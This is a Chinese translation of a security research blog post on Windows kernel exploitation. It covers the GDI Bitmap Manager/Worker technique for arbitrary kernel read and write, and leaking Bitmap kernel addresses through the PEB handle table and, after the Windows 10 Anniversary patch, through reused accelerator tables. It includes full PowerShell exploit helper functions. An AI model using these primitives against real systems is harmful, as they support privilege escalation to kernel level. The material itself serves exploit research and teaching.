Bitmap轶事:Windows 10纪念版后的GDI对象泄露

个人翻译收录的一些国外好文章,原文链接:https://labs.mwrinfosecurity.com/blog/a-tale-of-bitmaps/

Bitmap轶事:Windows 10纪念版后的GDI对象泄露

介绍

开始之前,先要吹一波Nicolas Economou, Diego Juarez和KeenLab。是你们全力推动了Windows内核exp技术的发展,又把这些晦涩的知识点慷慨的分享在了众所周知的社区。在Windows 10纪念版(Build 1607)的补丁中,微软打上了一个非常重要的信息泄露的补丁,它此前常用于揭示内核空间中的Bitmap对象的地址。本文讨论了一种应用于纪念版本后的Bitmap对象泄露方法。该方法首次被Nicolas Economou和Diego Juarez在2016年的Ekoparty演讲中提出,标题为 “Abusing GDI for ring0 exploit primitives: Reloaded“。

资源

下面的资源提供了bitmap在内核exp上下文中使用的背景信息。

背景

自2015年以来,Bitmap广泛的被滥用于内核内存污染exp。内核bitmap surface对象头包含了一个成员(pvScan0),它指向了bitmap的首个扫描行。从exp的视角来看,该成员提供了一个强大的ring0本源(primitive),这是因为有着一大堆GDI API调用会在这一指针上进行直接操作,尤其是GetBitmapBitsSetBitmapBits。如果内存污染使得攻击者可以修改该指针,这些API调用本质上就提供了一个内核空间的任意地址读写。这一方法非常通用且可以在大多数的包含多种形式任意写的内核漏洞中使用。

本技术一个完整的exp超过了本文所讲的范围但是我们会叙述它的本质。首先,攻击者创建了两个Bitmap对象,一个作为Manager,另一个作为Worker。借助内核漏洞下一步就可以修改Manager bitmap对象的pvScan0指针使其指向Worker的pvScan0。一旦完成这一步,SetBitmapBits可以被Manager调用来修改Worker的pointer,此后在Worker bitmap上调用SetBitmapsBits/GetBitmapBits就可以实现任意地址读写。该实现逻辑的示例函数如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# Arbitrary kernel read
function Bitmap-Read {
param ($Address)
$CallResult = [API]::SetBitmapBits($ManagerBitmap, [System.IntPtr]::Size, [System.BitConverter]::GetBytes($Address))
[IntPtr]$Pointer = [API]::VirtualAlloc([System.IntPtr]::Zero, [System.IntPtr]::Size, 0x3000, 0x40)
$CallResult = [API]::GetBitmapBits($WorkerBitmap, [System.IntPtr]::Size, $Pointer)
if ($x32){
[System.Runtime.InteropServices.Marshal]::ReadInt32($Pointer)
} else {
[System.Runtime.InteropServices.Marshal]::ReadInt64($Pointer)
}
$CallResult = [API]::VirtualFree($Pointer, [System.IntPtr]::Size, 0x8000)
}
# Arbitrary kernel write
function Bitmap-Write {
param ($Address, $Value)
$CallResult = [API]::SetBitmapBits($ManagerBitmap, [System.IntPtr]::Size, [System.BitConverter]::GetBytes($Address))
$CallResult = [API]::SetBitmapBits($WorkerBitmap, [System.IntPtr]::Size, [System.BitConverter]::GetBytes($Value))
}

纪念版之前的泄露

当Bitmap对象由进程创建后,进程PEB的GdiSharedHandleTable就增加了一个条目。如下图所示。

_GDI_CELL中的pKernelAddress泄露出了Bitmap对象在内核空间的地址。既然进程可以追溯其本身的PEB,那么泄露出bitmap内核对象地址也就是按图索骥。下面的PowerShell函数可以在纪念版补丁前用来创建一个Manager和Worker bitmap。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
function Stage-BitmapReadWrite {
<#
.SYNOPSIS
Get PowerShell PEB, create manager&worker bitmaps and leak kernel objects.
Warning: This only works up to Windows 10 v1607!
.DESCRIPTION
Author: Ruben Boonen (@FuzzySec)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.EXAMPLE
C:\PS> Stage-BitmapReadWrite
ManagerpvScan0 : -7692227456944
WorkerHandleTable : 767454567328
ManagerKernelObj : -7692227457024
PEB : 8757247991808
WorkerpvScan0 : -7692227415984
ManagerHandle : -737866269
WorkerHandle : 2080706172
GdiSharedHandleTable : 767454478336
ManagerHandleTable : 767454563656
WorkerKernelObj : -7692227416064
C:\PS> $BitMapObject = Stage-BitmapReadWrite
C:\PS> "{0:X}" -f $BitMapObject.ManagerKernelObj
FFFFF9010320F000
#>
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
[StructLayout(LayoutKind.Sequential)]
public struct _PROCESS_BASIC_INFORMATION
{
public IntPtr ExitStatus;
public IntPtr PebBaseAddress;
public IntPtr AffinityMask;
public IntPtr BasePriority;
public UIntPtr UniqueProcessId;
public IntPtr InheritedFromUniqueProcessId;
}
[StructLayout(LayoutKind.Explicit, Size = 256)]
public struct _PEB
{
[FieldOffset(148)]
public IntPtr GdiSharedHandleTable32;
[FieldOffset(248)]
public IntPtr GdiSharedHandleTable64;
}
[StructLayout(LayoutKind.Sequential)]
public struct _GDI_CELL
{
public IntPtr pKernelAddress;
public UInt16 wProcessId;
public UInt16 wCount;
public UInt16 wUpper;
public UInt16 wType;
public IntPtr pUserAddress;
}
public static class Gdi32
{
[DllImport("gdi32.dll")]
public static extern IntPtr CreateBitmap(
int nWidth,
int nHeight,
uint cPlanes,
uint cBitsPerPel,
IntPtr lpvBits);
}
public static class Ntdll
{
[DllImport("ntdll.dll")]
public static extern int NtQueryInformationProcess(
IntPtr processHandle,
int processInformationClass,
ref _PROCESS_BASIC_INFORMATION processInformation,
int processInformationLength,
ref int returnLength);
}
"@
# Flag architecture $x32Architecture/!$x32Architecture
if ([System.IntPtr]::Size -eq 4) {
$x32Architecture = 1
}
# Current Proc handle
$ProcHandle = (Get-Process -Id ([System.Diagnostics.Process]::GetCurrentProcess().Id)).Handle
# Process Basic Information
$PROCESS_BASIC_INFORMATION = New-Object _PROCESS_BASIC_INFORMATION
$PROCESS_BASIC_INFORMATION_Size = [System.Runtime.InteropServices.Marshal]::SizeOf($PROCESS_BASIC_INFORMATION)
$returnLength = New-Object Int
$CallResult = [Ntdll]::NtQueryInformationProcess($ProcHandle, 0, [ref]$PROCESS_BASIC_INFORMATION, $PROCESS_BASIC_INFORMATION_Size, [ref]$returnLength)
# Lazy PEB parsing
$_PEB = New-Object _PEB
$_PEB = $_PEB.GetType()
$BufferOffset = $PROCESS_BASIC_INFORMATION.PebBaseAddress.ToInt64()
$NewIntPtr = New-Object System.Intptr -ArgumentList $BufferOffset
$PEBFlags = [system.runtime.interopservices.marshal]::PtrToStructure($NewIntPtr, [type]$_PEB)
# _GDI_CELL size
$_GDI_CELL = New-Object _GDI_CELL
$_GDI_CELL_Size = [System.Runtime.InteropServices.Marshal]::SizeOf($_GDI_CELL)
# Manager Bitmap
[IntPtr]$Buffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(0x64*0x64*4)
$ManagerBitmap = [Gdi32]::CreateBitmap(0x64, 0x64, 1, 32, $Buffer)
if ($x32Architecture) {
$ManagerHandleTableEntry = $PEBFlags.GdiSharedHandleTable32.ToInt32() + ($($ManagerBitmap -band 0xffff)*$_GDI_CELL_Size)
$ManagerKernelObj = [System.Runtime.InteropServices.Marshal]::ReadInt32($ManagerHandleTableEntry)
$ManagerpvScan0 = $([System.Runtime.InteropServices.Marshal]::ReadInt32($ManagerHandleTableEntry)) + 0x30
} else {
$ManagerHandleTableEntry = $PEBFlags.GdiSharedHandleTable64.ToInt64() + ($($ManagerBitmap -band 0xffff)*$_GDI_CELL_Size)
$ManagerKernelObj = [System.Runtime.InteropServices.Marshal]::ReadInt64($ManagerHandleTableEntry)
$ManagerpvScan0 = $([System.Runtime.InteropServices.Marshal]::ReadInt64($ManagerHandleTableEntry)) + 0x50
}
# Worker Bitmap
[IntPtr]$Buffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(0x64*0x64*4)
$WorkerBitmap = [Gdi32]::CreateBitmap(0x64, 0x64, 1, 32, $Buffer)
if ($x32Architecture) {
$WorkerHandleTableEntry = $PEBFlags.GdiSharedHandleTable32.ToInt32() + ($($WorkerBitmap -band 0xffff)*$_GDI_CELL_Size)
$WorkerKernelObj = [System.Runtime.InteropServices.Marshal]::ReadInt32($WorkerHandleTableEntry)
$WorkerpvScan0 = $([System.Runtime.InteropServices.Marshal]::ReadInt32($WorkerHandleTableEntry)) + 0x30
} else {
$WorkerHandleTableEntry = $PEBFlags.GdiSharedHandleTable64.ToInt64() + ($($WorkerBitmap -band 0xffff)*$_GDI_CELL_Size)
$WorkerKernelObj = [System.Runtime.InteropServices.Marshal]::ReadInt64($WorkerHandleTableEntry)
$WorkerpvScan0 = $([System.Runtime.InteropServices.Marshal]::ReadInt64($WorkerHandleTableEntry)) + 0x50
}
$BitMapObject = @()
$HashTable = @{
PEB = if ($x32Architecture){$PROCESS_BASIC_INFORMATION.PebBaseAddress.ToInt32()}else{$PROCESS_BASIC_INFORMATION.PebBaseAddress.ToInt64()}
GdiSharedHandleTable = if ($x32Architecture){$PEBFlags.GdiSharedHandleTable32.ToInt32()}else{$PEBFlags.GdiSharedHandleTable64.ToInt64()}
ManagerHandle = $ManagerBitmap
ManagerHandleTable = $ManagerHandleTableEntry
ManagerKernelObj = $ManagerKernelObj
ManagerpvScan0 = $ManagerpvScan0
WorkerHandle = $WorkerBitmap
WorkerHandleTable = $WorkerHandleTableEntry
WorkerKernelObj = $WorkerKernelObj
WorkerpvScan0 = $WorkerpvScan0
}
$Object = New-Object PSObject -Property $HashTable
$BitMapObject += $Object
$BitMapObject
}

函数的输出如下所示。注意,为了方便,句柄和地址都使用了十进制数来表示。

Process hacker可以用来核实这些结果。

##纪念版之后的泄露

纪念版的补丁用哑数据替代了_GDI_CELL中的pKernelAddress,以此阻止内核对象泄露。该ring0手法的终结让一大堆exp开发者黯然伤神,然而事实上这就结束了吗?谁说泄露Bitmap对象只能靠PEB的?

当bitmap对象创建后,它们分配在内核的分页会话池中。

下面的用户对象列表都放在该分页池中,MSDN官方的说法。

在当前最新的Windows 10版本中,可以泄露出这些对象的内核地址。下图阐释了进程使用accelerator table的示例。

_HANDLEENTRY结构体的phead成员揭示了accelerator table的内核对象地址。如果我们创建一个accelerator table,泄露出它的地址,释放它并分配一个相同大小的bitmap对象的话,就可以强制内核来重用这段被释放的内存。想要保证该UAF风格的信息泄露百分百可靠,我们需要做的就是让对象足够大,比如4KB或更大一些,来阻止任意重用。

这一操作完成后,我们就拿到了bitmap的地址,他就是accelerator table此前的地址,然后就可以重用以前的ring0手法了!下面给出PowerShell中的示例代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
function Stage-gSharedInfoBitmap {
<#
.SYNOPSIS
Universal Bitmap leak using accelerator tables, 32/64 bit Win7-10 (+post anniversary).
.DESCRIPTION
Author: Ruben Boonen (@FuzzySec)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.EXAMPLE
PS C:\Users\b33f> Stage-gSharedInfoBitmap |fl
BitmapKernelObj : -7692235059200
BitmappvScan0 : -7692235059120
BitmapHandle : 1845828432
PS C:\Users\b33f> $Manager = Stage-gSharedInfoBitmap
PS C:\Users\b33f> "{0:X}" -f $Manager.BitmapKernelObj
FFFFF901030FF000
#>
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
public static class gSharedInfoBitmap
{
[DllImport("gdi32.dll")]
public static extern IntPtr CreateBitmap(
int nWidth,
int nHeight,
uint cPlanes,
uint cBitsPerPel,
IntPtr lpvBits);
[DllImport("kernel32", SetLastError=true, CharSet = CharSet.Ansi)]
public static extern IntPtr LoadLibrary(
string lpFileName);
[DllImport("kernel32", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)]
public static extern IntPtr GetProcAddress(
IntPtr hModule,
string procName);
[DllImport("user32.dll")]
public static extern IntPtr CreateAcceleratorTable(
IntPtr lpaccl,
int cEntries);
[DllImport("user32.dll")]
public static extern bool DestroyAcceleratorTable(
IntPtr hAccel);
}
"@
# Check Arch
if ([System.IntPtr]::Size -eq 4) {
$x32 = 1
}
function Create-AcceleratorTable {
[IntPtr]$Buffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(10000)
$AccelHandle = [gSharedInfoBitmap]::CreateAcceleratorTable($Buffer, 700) # +4 kb size
$User32Hanle = [gSharedInfoBitmap]::LoadLibrary("user32.dll")
$gSharedInfo = [gSharedInfoBitmap]::GetProcAddress($User32Hanle, "gSharedInfo")
if ($x32){
$gSharedInfo = $gSharedInfo.ToInt32()
} else {
$gSharedInfo = $gSharedInfo.ToInt64()
}
$aheList = $gSharedInfo + [System.IntPtr]::Size
if ($x32){
$aheList = [System.Runtime.InteropServices.Marshal]::ReadInt32($aheList)
$HandleEntry = $aheList + ([int]$AccelHandle -band 0xffff)*0xc # _HANDLEENTRY.Size = 0xC
$phead = [System.Runtime.InteropServices.Marshal]::ReadInt32($HandleEntry)
} else {
$aheList = [System.Runtime.InteropServices.Marshal]::ReadInt64($aheList)
$HandleEntry = $aheList + ([int]$AccelHandle -band 0xffff)*0x18 # _HANDLEENTRY.Size = 0x18
$phead = [System.Runtime.InteropServices.Marshal]::ReadInt64($HandleEntry)
}
$Result = @()
$HashTable = @{
Handle = $AccelHandle
KernelObj = $phead
}
$Object = New-Object PSObject -Property $HashTable
$Result += $Object
$Result
}
function Destroy-AcceleratorTable {
param ($Hanlde)
$CallResult = [gSharedInfoBitmap]::DestroyAcceleratorTable($Hanlde)
}
$KernelArray = @()
for ($i=0;$i -lt 20;$i++) {
$KernelArray += Create-AcceleratorTable
if ($KernelArray.Length -gt 1) {
if ($KernelArray[$i].KernelObj -eq $KernelArray[$i-1].KernelObj) {
Destroy-AcceleratorTable -Hanlde $KernelArray[$i].Handle
[IntPtr]$Buffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(0x50*2*4)
$BitmapHandle = [gSharedInfoBitmap]::CreateBitmap(0x701, 2, 1, 8, $Buffer) # # +4 kb size -lt AcceleratorTable
break
}
}
Destroy-AcceleratorTable -Hanlde $KernelArray[$i].Handle
}
$BitMapObject = @()
$HashTable = @{
BitmapHandle = $BitmapHandle
BitmapKernelObj = $($KernelArray[$i].KernelObj)
BitmappvScan0 = if ($x32) {$($KernelArray[$i].KernelObj) + 0x32} else {$($KernelArray[$i].KernelObj) + 0x50}
}
$Object = New-Object PSObject -Property $HashTable
$BitMapObject += $Object
$BitMapObject
}

该函数的输出如下。

为了核实这一地址(accelerator table此前用到所用)确实包含了我们的bitmap,可以在KD中执行!pool ADDRESS

结论

有效的exp缓解措施需要一定的不同策略,其中包含了漏洞补丁、保护增强以及消除已知的exp技术。微软在后两类策略中持之以恒的做出了努力,它们富有成效且大大的增强了Windows内核的安全性。这些提升增加了内核exp开发的难度,且在某些情况下完全消除了这一类bug。然而,如本文所展示,新的技术会被挖掘出来,道高一尺魔高一丈!

关于Windows 10纪念版补丁中的新缓解措施的更多细节可以在这里找到here

文章目录
  1. 1. Bitmap轶事:Windows 10纪念版后的GDI对象泄露
    1. 1.1. 介绍
    2. 1.2. 资源
    3. 1.3. 背景
    4. 1.4. 纪念版之前的泄露
    5. 1.5. 结论
,